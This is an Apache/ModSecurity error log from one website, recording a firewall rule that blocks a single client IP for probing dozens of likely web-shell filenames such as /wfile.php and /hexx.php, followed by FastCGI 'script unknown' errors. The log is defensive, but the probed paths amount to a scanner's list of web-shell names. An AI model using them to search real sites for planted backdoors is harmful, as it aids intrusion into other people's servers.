[Sat Dec 13 00:05:00.148338 2025] [:error] [pid 26519:tid 26541] [client 4.193.186.94:20935] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pent.php"] [unique_id "aTw9LM8TRgSGOeWqEhcVQQAAABI"]
[Sat Dec 13 00:05:00.545458 2025] [:error] [pid 26519:tid 26542] [client 4.193.186.94:20860] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pent.php"] [unique_id "aTw9LM8TRgSGOeWqEhcVQgAAABM"]
[Sat Dec 13 00:05:01.061721 2025] [:error] [pid 26519:tid 26526] [client 4.193.186.94:21351] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wfile.php"] [unique_id "aTw9Lc8TRgSGOeWqEhcVQwAAAAM"]
[Sat Dec 13 00:05:01.378655 2025] [:error] [pid 60649:tid 60659] [client 4.193.186.94:20982] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wfile.php"] [unique_id "aTw9LVOcUGKU3sgfHP8idgAAAQc"]
[Sat Dec 13 00:05:01.618013 2025] [:error] [pid 55760:tid 55782] [client 4.193.186.94:20895] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wfile.php"] [unique_id "aTw9LVObDQlftFDyGaxGhAAAAZQ"]
[Sat Dec 13 00:05:01.948282 2025] [:error] [pid 60649:tid 60669] [client 4.193.186.94:20838] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wfile.php"] [unique_id "aTw9LVOcUGKU3sgfHP8ieAAAARE"]
[Sat Dec 13 00:05:02.155382 2025] [:error] [pid 60649:tid 60666] [client 4.193.186.94:35902] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hexx.php"] [unique_id "aTw9LlOcUGKU3sgfHP8ieQAAAQ4"]
[Sat Dec 13 00:05:02.407897 2025] [:error] [pid 55760:tid 55784] [client 4.193.186.94:20844] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hexx.php"] [unique_id "aTw9LlObDQlftFDyGaxGhgAAAZY"]
[Sat Dec 13 00:05:02.686441 2025] [:error] [pid 26520:tid 26554] [client 4.193.186.94:20874] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hexx.php"] [unique_id "aTw9LkG_frlY5vNXu_AgawAAAEI"]
[Sat Dec 13 00:05:03.053472 2025] [:error] [pid 26607:tid 26632] [client 4.193.186.94:20971] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hexx.php"] [unique_id "aTw9L8b_b0tOEWTL2KnGDAAAANc"]
[Sat Dec 13 00:05:03.415700 2025] [:error] [pid 26607:tid 26626] [client 4.193.186.94:20840] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wrt.php"] [unique_id "aTw9L8b_b0tOEWTL2KnGDQAAANE"]
[Sat Dec 13 00:05:03.906928 2025] [:error] [pid 26521:tid 26601] [client 4.193.186.94:21336] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wrt.php"] [unique_id "aTw9L5dhcAPU617AKTDEKQAAAJY"]
[Sat Dec 13 00:05:04.218328 2025] [:error] [pid 55760:tid 55775] [client 4.193.186.94:20908] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wrt.php"] [unique_id "aTw9MFObDQlftFDyGaxGiAAAAY0"]
[Sat Dec 13 00:05:04.634267 2025] [:error] [pid 55760:tid 55763] [client 4.193.186.94:20909] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wrt.php"] [unique_id "aTw9MFObDQlftFDyGaxGiwAAAYE"]
[Sat Dec 13 00:05:05.039936 2025] [:error] [pid 55760:tid 55764] [client 4.193.186.94:20902] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eauu.php"] [unique_id "aTw9MVObDQlftFDyGaxGjAAAAYI"]
[Sat Dec 13 00:05:05.294374 2025] [:error] [pid 27950:tid 27958] [client 4.193.186.94:20808] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eauu.php"] [unique_id "aTw9MYVLRvkrdsSc1F3NQgAAAUY"]
[Sat Dec 13 00:05:05.551932 2025] [:error] [pid 26520:tid 26569] [client 4.193.186.94:21000] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eauu.php"] [unique_id "aTw9MUG_frlY5vNXu_AgbAAAAFE"]
[Sat Dec 13 00:05:05.759136 2025] [:error] [pid 55760:tid 55776] [client 4.193.186.94:20881] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eauu.php"] [unique_id "aTw9MVObDQlftFDyGaxGjwAAAY4"]
[Sat Dec 13 00:05:06.053392 2025] [:error] [pid 26520:tid 26560] [client 4.193.186.94:20875] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1%25.php"] [unique_id "aTw9MkG_frlY5vNXu_AgbQAAAEg"]
[Sat Dec 13 00:05:06.307524 2025] [:error] [pid 27950:tid 27952] [client 4.193.186.94:20979] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1%25.php"] [unique_id "aTw9MoVLRvkrdsSc1F3NQwAAAUA"]
[Sat Dec 13 00:05:06.568204 2025] [:error] [pid 26521:tid 26598] [client 4.193.186.94:20887] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1%25.php"] [unique_id "aTw9MpdhcAPU617AKTDEKwAAAJM"]
[Sat Dec 13 00:05:06.795907 2025] [:error] [pid 26520:tid 26574] [client 4.193.186.94:20742] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1%25.php"] [unique_id "aTw9MkG_frlY5vNXu_AgbwAAAFY"]
[Sat Dec 13 00:05:07.169470 2025] [:error] [pid 26521:tid 26597] [client 4.193.186.94:21004] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/444.php"] [unique_id "aTw9M5dhcAPU617AKTDELAAAAJI"]
[Sat Dec 13 00:05:07.549531 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:20880] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/444.php"] [unique_id "aTw9M4VLRvkrdsSc1F3NRgAAAUw"]
[Sat Dec 13 00:05:08.133619 2025] [:error] [pid 26521:tid 26594] [client 4.193.186.94:20814] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/444.php"] [unique_id "aTw9NJdhcAPU617AKTDELgAAAI8"]
[Sat Dec 13 00:05:08.428795 2025] [:error] [pid 26521:tid 26579] [client 4.193.186.94:20984] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/444.php"] [unique_id "aTw9NJdhcAPU617AKTDEMAAAAIA"]
[Sat Dec 13 00:05:08.606690 2025] [:error] [pid 55760:tid 55778] [client 4.193.186.94:20845] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/09fa6.php"] [unique_id "aTw9NFObDQlftFDyGaxGkwAAAZA"]
[Sat Dec 13 00:05:08.852989 2025] [:error] [pid 26521:tid 26600] [client 4.193.186.94:20879] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/09fa6.php"] [unique_id "aTw9NJdhcAPU617AKTDEMQAAAJU"]
[Sat Dec 13 00:05:09.337283 2025] [:error] [pid 27950:tid 27956] [client 4.193.186.94:20997] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/09fa6.php"] [unique_id "aTw9NYVLRvkrdsSc1F3NRwAAAUQ"]
[Sat Dec 13 00:05:09.543114 2025] [:error] [pid 60649:tid 60670] [client 4.193.186.94:20985] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/09fa6.php"] [unique_id "aTw9NVOcUGKU3sgfHP8ifwAAARI"]
[Sat Dec 13 00:05:09.962418 2025] [:error] [pid 26521:tid 26592] [client 4.193.186.94:20802] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "aTw9NZdhcAPU617AKTDENQAAAI0"]
[Sat Dec 13 00:05:11.013243 2025] [:error] [pid 26519:tid 26542] [client 4.193.186.94:20740] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "aTw9N88TRgSGOeWqEhcVTwAAABM"]
[Sat Dec 13 00:05:11.299852 2025] [:error] [pid 26521:tid 26603] [client 4.193.186.94:20830] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "aTw9N5dhcAPU617AKTDEOQAAAJg"]
[Sat Dec 13 00:05:11.562565 2025] [:error] [pid 26519:tid 26523] [client 4.193.186.94:20859] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aa.php"] [unique_id "aTw9N88TRgSGOeWqEhcVUgAAAAA"]
[Sat Dec 13 00:05:11.944968 2025] [:error] [pid 55760:tid 55771] [client 4.193.186.94:20923] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "aTw9N1ObDQlftFDyGaxGmwAAAYk"]
[Sat Dec 13 00:05:12.217670 2025] [:error] [pid 27950:tid 27972] [client 4.193.186.94:20851] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "aTw9OIVLRvkrdsSc1F3NTwAAAVQ"]
[Sat Dec 13 00:05:12.474313 2025] [:error] [pid 55760:tid 55770] [client 4.193.186.94:20917] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "aTw9OFObDQlftFDyGaxGpQAAAYg"]
[Sat Dec 13 00:05:12.777193 2025] [:error] [pid 26607:tid 26624] [client 4.193.186.94:20833] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we.php"] [unique_id "aTw9OMb_b0tOEWTL2KnGFQAAAM8"]
[Sat Dec 13 00:05:13.056834 2025] [:error] [pid 26607:tid 26622] [client 4.193.186.94:20835] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ext.php"] [unique_id "aTw9Ocb_b0tOEWTL2KnGFwAAAM0"]
[Sat Dec 13 00:05:13.342481 2025] [:error] [pid 55760:tid 55785] [client 4.193.186.94:21049] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ext.php"] [unique_id "aTw9OVObDQlftFDyGaxGqQAAAZc"]
[Sat Dec 13 00:05:13.562424 2025] [:error] [pid 26520:tid 26565] [client 4.193.186.94:20741] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ext.php"] [unique_id "aTw9OUG_frlY5vNXu_AgdgAAAE0"]
[Sat Dec 13 00:05:13.752261 2025] [:error] [pid 26607:tid 26619] [client 4.193.186.94:20746] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ext.php"] [unique_id "aTw9Ocb_b0tOEWTL2KnGGAAAAMo"]
[Sat Dec 13 00:05:14.022672 2025] [:error] [pid 26521:tid 26588] [client 4.193.186.94:20825] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file1.php"] [unique_id "aTw9OpdhcAPU617AKTDERQAAAIk"]
[Sat Dec 13 00:05:14.223765 2025] [:error] [pid 26607:tid 26611] [client 4.193.186.94:20810] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file1.php"] [unique_id "aTw9Osb_b0tOEWTL2KnGGQAAAMI"]
[Sat Dec 13 00:05:14.637168 2025] [:error] [pid 26521:tid 26596] [client 4.193.186.94:20839] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file1.php"] [unique_id "aTw9OpdhcAPU617AKTDESAAAAJE"]
[Sat Dec 13 00:05:14.934478 2025] [:error] [pid 26607:tid 26625] [client 4.193.186.94:20983] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file1.php"] [unique_id "aTw9Osb_b0tOEWTL2KnGGwAAANA"]
[Sat Dec 13 00:05:15.162658 2025] [:error] [pid 26519:tid 26547] [client 4.193.186.94:20848] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aTw9O88TRgSGOeWqEhcVaAAAABg"]
[Sat Dec 13 00:05:15.448490 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:20836] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aTw9O0G_frlY5vNXu_AgeAAAAEs"]
[Sat Dec 13 00:05:15.676671 2025] [:error] [pid 60649:tid 60669] [client 4.193.186.94:20817] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aTw9O1OcUGKU3sgfHP8ikwAAARE"]
[Sat Dec 13 00:05:16.063425 2025] [:error] [pid 26519:tid 26541] [client 4.193.186.94:20858] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aTw9PM8TRgSGOeWqEhcVbQAAABI"]
[Sat Dec 13 00:05:16.323715 2025] [:error] [pid 26519:tid 26530] [client 4.193.186.94:20864] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi2.php"] [unique_id "aTw9PM8TRgSGOeWqEhcVcAAAAAc"]
[Sat Dec 13 00:05:16.684836 2025] [:error] [pid 27950:tid 27963] [client 4.193.186.94:20913] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi2.php"] [unique_id "aTw9PIVLRvkrdsSc1F3NXgAAAUs"]
[Sat Dec 13 00:05:16.961986 2025] [:error] [pid 26521:tid 26588] [client 4.193.186.94:20900] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi2.php"] [unique_id "aTw9PJdhcAPU617AKTDEVwAAAIk"]
[Sat Dec 13 00:05:17.313458 2025] [proxy_fcgi:error] [pid 27950:tid 27959] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:17.426057 2025] [proxy_fcgi:error] [pid 27950:tid 27973] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:17.517162 2025] [proxy_fcgi:error] [pid 27950:tid 27958] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:17.634405 2025] [proxy_fcgi:error] [pid 27950:tid 27952] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:17.727354 2025] [proxy_fcgi:error] [pid 27950:tid 27976] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:17.845450 2025] [proxy_fcgi:error] [pid 27950:tid 27961] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:17.936749 2025] [proxy_fcgi:error] [pid 27950:tid 27967] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:18.121794 2025] [proxy_fcgi:error] [pid 27950:tid 27957] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:18.220966 2025] [proxy_fcgi:error] [pid 27950:tid 27956] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:05:18.315464 2025] [proxy_fcgi:error] [pid 27950:tid 27965] [client 4.193.186.94:20843] AH01071: Got error 'Primary script unknown'
